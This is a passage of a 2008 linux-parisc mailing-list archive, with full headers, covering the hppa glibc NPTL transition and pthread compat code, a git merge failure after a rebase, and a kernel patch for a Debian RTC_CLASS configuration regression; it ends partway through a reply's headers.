X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (relay.felk.cvut.cz [147.32.80.7]); Sat, 06 Sep 2008 21:59:38 +0200 (CEST)
X-FELK-MailScanner-Information: 
X-MailScanner-ID: m86Jxb53059999
X-FELK-MailScanner: Found to be clean
X-FELK-MailScanner-SpamCheck: not spam, SpamAssassin (not cached,
	score=-1.913, required 5, BAYES_00 -2.60, SPF_NEUTRAL 0.69)
X-FELK-MailScanner-From: petr.salinger@seznam.cz
X-FELK-MailScanner-To: carlos@systemhalted.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org
X-Spam-Status: No
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:734 gmane.linux.debian.ports.hppa:5491
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/734>

>> IMHO, there is no need for versioning. Moreover it wouldn't be sufficient.
>
> You must versioning the affected interfaces, otherwise you will never
> be able to remove the compatibility code.
>
>> Imagine function in a shared library foo which takes as argument
>> pthread_mutex_t and does usual:
>>
>>        pthread_mutex_lock()
>>        do some work
>>        pthread_mutex_unlock()
>>
>> And a program bar, which uses foo. Inside bar is a static initialized lock.
>> The foo might be (re)compiled against NPTL, while bar would be still
>> compiled against LT. Therefore check_and_reset() should be called as long as
>> any installed (debian) package have not been recompiled against NPTL. The
>> overhead of check_and_reset() looks very small, it should be no problem at
>> all. The harder part is to determine each place, where
>> check_and_reset() should be called. It have to be in all places,
>> where static initialized lock might be passed for the 1st time,
>> i.e. it should be in  pthread_mutex_lock(), but not in
>> pthread_mutex_unlock().
>
> Yes, certainly, this is a valid case.
>
> Any function that manipulates a changed structure needs to be versioned.
>
> Eventually, one day, debian hppa will configure glibc with
> --enable-oldest-abi at a high enough value that the compat code will
> be dropped (because we have proved no package needs it and we have an
> upgrade path).
>
> Do you have any other concerns?

The versioning does not help here, i.e. in the above case
bar will not reference any old (linuxthread variant) function,
therefore it would look like there is no need for compat code, even though 
it will be still needed.

For dropping compat code, you have to be sure any package is not compiled 
against old glibc - it can be determined in debian from Depends: line
in binary package control file. The strategy for upgrade might be easy;
For lenny+1 include compat code, but make sure all of lenny+1 released
packages are build against NPTL variant. The compact code can be dropped
just after lenny+1 release.

It looks like one compare will say it is not LT initialized lock,
this path might be really fast.
IMHO, even including such compat code forever will be easier compared to 
transition all libraries ...

The check_and_reset() should be reasonably "atomic" - two threads might 
call pthread_mutex_lock() on static LT initialized lock in the same time.

What are the difference between LT and NPTL definition of pthread_mutex_t.
Only 3 unused ints in pthread_mutex_t ?

Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Sat, 6 Sep 2008 17:36:24 -0400
Lines: 115
Approved: news@gmane.org
Message-ID: <119aab440809061436n5104469cm514f87dc00c26041@mail.gmail.com>
References: <Pine.LNX.4.62.0809061002060.19796@sci.felk.cvut.cz>
	 <119aab440809060831u790ad62dte057bedf68e0d988@mail.gmail.com>
	 <Pine.LNX.4.62.0809062158160.20902@sci.felk.cvut.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220737004 8019 80.91.229.12 (6 Sep 2008 21:36:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Sep 2008 21:36:44 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Petr Salinger" <Petr.Salinger@seznam.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 06 23:37:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kc5TK-0001nk-HT
	for glpp-linux-parisc@gmane.org; Sat, 06 Sep 2008 23:37:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752269AbYIFVg1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Sep 2008 17:36:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752600AbYIFVg1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Sep 2008 17:36:27 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.235]:58192 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752269AbYIFVgZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Sep 2008 17:36:25 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so984294wri.5
        for <linux-parisc@vger.kernel.org>; Sat, 06 Sep 2008 14:36:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=ITPX7Za5W5HsNOp/mcL3PGIOt+1/+fjcI+s7eXltaaw=;
        b=tGiXW2jRJS2Uon3UGjAa3V9BKWVyr6cQ5pxu/QH8x9ELW3q59QaLM7nPcDo6cnM/95
         jUKyTq8WcoZPRPur/d/fPzoBEKojKxDv16wPlo1szm+Dkx9kxoXaTDOPSKASPfP3Zim2
         QBxXpas/ujHtklIdRofibMjuYf23YZwLYlS+I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=D0/UgBAGvCIl1sl6zYVw/5Zb40HvSU+d4sSPEu2XMuCGxO/lehySNFLcjKnAbkNVnY
         oLOs6ht3AhlvvdVj6ZNlVFVwxL5Pb5OuZbDmFVf+/I3fczF8LGHlv7nSgRVonKblKwv5
         u1lby2RWt1E/HDF2aH7tgrmEb9mzMDLjlp2OA=
Original-Received: by 10.90.106.6 with SMTP id e6mr16969955agc.31.1220736984327;
        Sat, 06 Sep 2008 14:36:24 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Sat, 6 Sep 2008 14:36:24 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.62.0809062158160.20902@sci.felk.cvut.cz>
Content-Disposition: inline
X-Google-Sender-Auth: 5196118d4acef9f1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:735 gmane.linux.debian.ports.hppa:5492
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/735>

On Sat, Sep 6, 2008 at 4:16 PM, Petr Salinger <Petr.Salinger@seznam.cz> wrote:
>> Do you have any other concerns?
>
> The versioning does not help here, i.e. in the above case
> bar will not reference any old (linuxthread variant) function,
> therefore it would look like there is no need for compat code, even though
> it will be still needed.

Yes, I agree with you, but you still need symbol versioining.

The point of versioning the symbols is so that in the future when you
run an old program you will get the error "Undefined reference to
symbol foo" instead of a random crash. So the procedure is this:

1. Create an old compat function at version 2.0, which is only
compiled if oldest ABI is 2.0.
2. Create a new function at version 2.8, which *also* contains compat
code wrapped in "#if SHLIB_COMPAT (libpthread, GLIBC_2_0, GLIBC_2_8)".

With oldest-abi at 2.0, all functions will have the compat checks
enabled, allowing mixing of old applications and new libraries.
Eventually when you build with oldest ABI 2.8, the 2.0 version
functions are gone, the compat code in 2.8 version functions is
dropped, and everything is working optimally. When you run an old
application it complains "Undefined reference to symbol foo", and
rightly so because we only support the new ABI.

Do you see any problem with that?

> For dropping compat code, you have to be sure any package is not compiled
> against old glibc - it can be determined in debian from Depends: line
> in binary package control file. The strategy for upgrade might be easy;
> For lenny+1 include compat code, but make sure all of lenny+1 released
> packages are build against NPTL variant. The compact code can be dropped
> just after lenny+1 release.

Yes, that's probably a good procedure.

However, you can't determine it from the depends line because libc is
an implicit depend?

I believe you have to analyze the binaries in the archive.

> It looks like one compare will say it is not LT initialized lock,
> this path might be really fast.
> IMHO, even including such compat code forever will be easier compared to
> transition all libraries ...

Yes, I agree.

> The check_and_reset() should be reasonably "atomic" - two threads might call
> pthread_mutex_lock() on static LT initialized lock in the same time.

It will be 100% atomic, we will use hppa's load-and-clear-word
instruction to analyze the contents of the old lock structure.

> What are the difference between LT and NPTL definition of pthread_mutex_t.
> Only 3 unused ints in pthread_mutex_t ?

A function that takes as an argument a structure that has no padding
left for a new 4-byte int aligned lock and contains a statically
initialized __atomic_lock_t that we must reuse for our lock.

We must review these structures for possible padding to use as a lock word:
pthread_cond_t
pthread_mutex_t
pthread_rwlock_t
pthread_barrier_t
pthread_spinlock_t

>From this list, only those that have static initializers may cause an
ABI issue, namely:
PTHREAD_COND_INITIALIZER
PTHREAD_MUTEX_INITIALIZER
PTHREAD_RWLOCK_INITIALIZER (Deleted in issue 6)

Lastly the complete list of functions that may need compat:
pthread_cond_timedwait
pthread_cond_wait
pthread_mutex_destroy
pthread_mutex_getprioceiling
pthread_mutex_init
pthread_mutex_lock
pthread_mutex_setprioceiling
pthread_mutex_timedlock
pthread_mutex_trylock
pthread_mutex_unlock
pthread_cond_broadcast
pthread_cond_destroy
pthread_cond_init
pthread_cond_signal
pthread_cond_timedwait
pthread_cond_wait
pthread_rwlock_destroy
pthread_rwlock_init
pthread_rwlock_rdlock
pthread_rwlock_timedrdlock
pthread_rwlock_timedwrlock
pthread_rwlock_tryrdlock
pthread_rwlock_trywrlock
pthread_rwlock_unlock
pthread_rwlock_wrlock

Please feel free to review my list.

I based this list on the data here:
http://www.opengroup.org/onlinepubs/009695399/

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: last git update of parisc-2.6.git failed again to merge???
Date: Sun, 07 Sep 2008 11:51:26 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <48C3C03E.2050405@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220788324 27670 80.91.229.12 (7 Sep 2008 11:52:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Sep 2008 11:52:04 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 07 13:52:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcIon-0005g3-Hz
	for glpp-linux-parisc@gmane.org; Sun, 07 Sep 2008 13:52:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753379AbYIGLvf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Sep 2008 07:51:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753185AbYIGLvf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Sep 2008 07:51:35 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:54896 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753127AbYIGLve (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Sep 2008 07:51:34 -0400
Original-Received: from [213.49.83.126] (ip-213-49-83-126.dsl.scarlet.be [213.49.83.126])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m87BpRHf026556;
	Sun, 7 Sep 2008 13:51:28 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.16 (X11/20080724)
X-DCC-scarlet.be-Metrics: sif 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/736>

Hello Kyle,

Just fyi, my latest 'git pull' (this Sep 4 2008 around 8h gmt) of your tree 
<git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git> (again) failed to merge ;_(
 From git://git.eu.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6
  + 07f3b22...2c41408 master     -> origin/master  (forced update)
warning: too many files, skipping inexact rename detection
CONFLICT (rename/delete): Renamed include/asm-parisc/pdc.h->arch/parisc/include/asm/pdc.h in HEAD and deleted in 
2c41408cff1c81a5fe6980862f00e370a129c302
CONFLICT (rename/delete): Renamed include/asm-parisc/ropes.h->arch/parisc/include/asm/ropes.h in HEAD and deleted in 
2c41408cff1c81a5fe6980862f00e370a129c302
CONFLICT (rename/delete): Renamed include/asm-parisc/unistd.h->arch/parisc/include/asm/unistd.h in HEAD and deleted in 
2c41408cff1c81a5fe6980862f00e370a129c302
Removed Documentation/cli-sti-removal.txt
Removed Documentation/filesystems/configfs/configfs_example.c
Removed Documentation/powerpc/SBC8260_memory_mapping.txt
[snip]
Removed include/asm-sh/ubc.h
Removed include/asm-sh/watchdog.h
Removed include/linux/harrier_defs.h
Removed include/media/audiochip.h
Automatic merge failed; fix conflicts and then commit the result.

This was done with:
# git --version
git version 1.5.6.5

Any idea of what would I do better then re-clone tree
# git clone git://git.eu.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git parisc-2.6
Initialized empty Git repository in /Develop/parisc-linux/Kyle/parisc-2.6/.git/
remote: Counting objects: 895134, done.
remote: Compressing objects: 100% (147414/147414), done.
remote: Total 895134 (delta 746373), reused 895072 (delta 746330)
Receiving objects: 100% (895134/895134), 213.04 MiB | 94 KiB/s, done.
Resolving deltas: 100% (746373/746373), done.
Checking out files: 100% (24348/24348), done.


Tia,
	J.

PS: Nothing I can find with google, help me to fix this issue.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: last git update of parisc-2.6.git failed again to merge???
Date: Sun, 7 Sep 2008 12:25:01 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20080907162501.GD20992@phobos.i.cabal.ca>
References: <48C3C03E.2050405@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220804715 14845 80.91.229.12 (7 Sep 2008 16:25:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Sep 2008 16:25:15 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 07 18:26:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KcN5V-0005dR-20
	for glpp-linux-parisc@gmane.org; Sun, 07 Sep 2008 18:26:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752445AbYIGQZE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 7 Sep 2008 12:25:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752926AbYIGQZE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 7 Sep 2008 12:25:04 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:38107 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752445AbYIGQZD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 7 Sep 2008 12:25:03 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 29D7A17806A; Sun,  7 Sep 2008 12:25:01 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <48C3C03E.2050405@scarlet.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/737>

On Sun, Sep 07, 2008 at 11:51:26AM +0000, Joel Soete wrote:
> Hello Kyle,
>

The history is non-linear, because I rebased it:

git fetch origin; git reset --hard origin/master

while on your master branch should resolve it. But be careful, it
will remove any of your local changes.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Mon, 08 Sep 2008 10:43:03 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1220888583.8074.10.camel@localhost.localdomain>
References: <1220713586.3430.14.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220888619 17941 80.91.229.12 (8 Sep 2008 15:43:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 15:43:39 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: waldi@debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 17:44:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kciuj-0003rB-G1
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 17:44:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754932AbYIHPnI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 11:43:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754933AbYIHPnH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 11:43:07 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:38946 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754908AbYIHPnF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 11:43:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 8E36A8399;
	Mon,  8 Sep 2008 10:43:03 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id kskPEXxgdE1k; Mon,  8 Sep 2008 10:43:02 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 5ED6C82C2;
	Mon,  8 Sep 2008 10:43:02 -0500 (CDT)
In-Reply-To: <1220713586.3430.14.camel@localhost.localdomain>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/738>

On Sat, 2008-09-06 at 10:06 -0500, James Bottomley wrote:
> Parisc is a CONFIG_GEN_RTC architecture (we use the generic real time
> clock driver).  Starting with 2.6.26, debian is now enabling
> CONFIG_RTC_CLASS (for platforms with specific RTC drivers) which
> disables CONFIG_GEN_RTC and means that hwclock (and ntp tracking) are
> broken on parisc with debian kernels 2.6.26 and above.
> 
> All of the arch/parisc/config files get this right, so someone at debian
> must have screwed up somehow.  The config option CONFIG_RTC_CLASS must
> be set to 'N' for all parisc systems.  I'd suggest checking the debian
> kernel configs against the in-tree default files to see if there are any
> other cockups like this.

OK, I dug into this.  The problem with debian is that CONFIG_RTC_CLASS
is set in the generic configuration and from 2.6.26 onwards
CONFIG_GEN_RTC is overridden by this (that's the reason we don't see it
on our local configs).  I'm not entirely sure what the correct fix is.
It looks like GEN_RTC is being deprecated, so it might be to move to
RTC_CLASS.  I think the best thing is for me to try to put an arch
override for RTC_CLASS and see what the reaction is.

In the meantime, you can get a working debian kernel here:

http://parisc-linux.org/~jejb/linux-image-2.6.26-1-parisc_2.6.26-4+b1_hppa.deb

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fix RTC_CLASS regression with PARISC
Date: Mon, 08 Sep 2008 10:53:25 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <1220889205.8074.16.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220889224 20343 80.91.229.12 (8 Sep 2008 15:53:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 15:53:44 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	David Brownell <david-b@pacbell.net>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 17:54:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kcj4Q-0007Vt-Mq
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 17:54:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753732AbYIHPx2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 11:53:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753729AbYIHPx1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 11:53:27 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:51229 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753732AbYIHPx1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 11:53:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 7EF5B839B;
	Mon,  8 Sep 2008 10:53:25 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id rW8p7HLtTh5L; Mon,  8 Sep 2008 10:53:24 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 3D78E82C2;
	Mon,  8 Sep 2008 10:53:24 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:739 gmane.linux.kernel:731105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/739>

As of 2.6.26, most distribution kernels for PARISC are coming with the
wrong RTC infrastructure enabled, meaning that userland can no longer
get at the RTC, so all our parisc clocks are drifting.

The fault is this patch:

commit c750090085f260503d8beec1c73c4d2e4fe93628
Author: David Brownell <david-b@pacbell.net>
Date:   Mon Apr 28 02:11:52 2008 -0700

    rtc: avoid legacy drivers with generic framework

Which makes drivers/rtc take precedence over the generic rtc.  However,
for parisc we only have the generic rtc, so in essence this turns off
our ability to access the rtc.  Put it back again by making RTC_CLASS
unselectable if the architecture is parisc.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---

diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index 9a9755c..472fb19 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -8,7 +8,7 @@ config RTC_LIB
 menuconfig RTC_CLASS
 	tristate "Real Time Clock"
 	default n
-	depends on !S390
+	depends on !(S390 || PARISC)
 	select RTC_LIB
 	help
 	  Generic RTC class support. If you say yes here, you will


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bastian Blank <waldi@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Mon, 8 Sep 2008 18:37:04 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20080908163703.GA3218@wavehammer.waldi.eu.org>
References: <1220713586.3430.14.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1220891836 30231 80.91.229.12 (8 Sep 2008 16:37:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Sep 2008 16:37:16 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	debian-kernel@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 08 18:38:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kcjkg-0005a3-TR
	for glpp-linux-parisc@gmane.org; Mon, 08 Sep 2008 18:38:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750894AbYIHQhI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Sep 2008 12:37:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752078AbYIHQhH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Sep 2008 12:37:07 -0400
Original-Received: from wavehammer.waldi.eu.org ([82.139.201.20]:46695 "EHLO
	wavehammer.waldi.eu.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750894AbYIHQhG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Sep 2008 12:37:06 -0400
Original-Received: by wavehammer.waldi.eu.org (Postfix, from userid 1000)
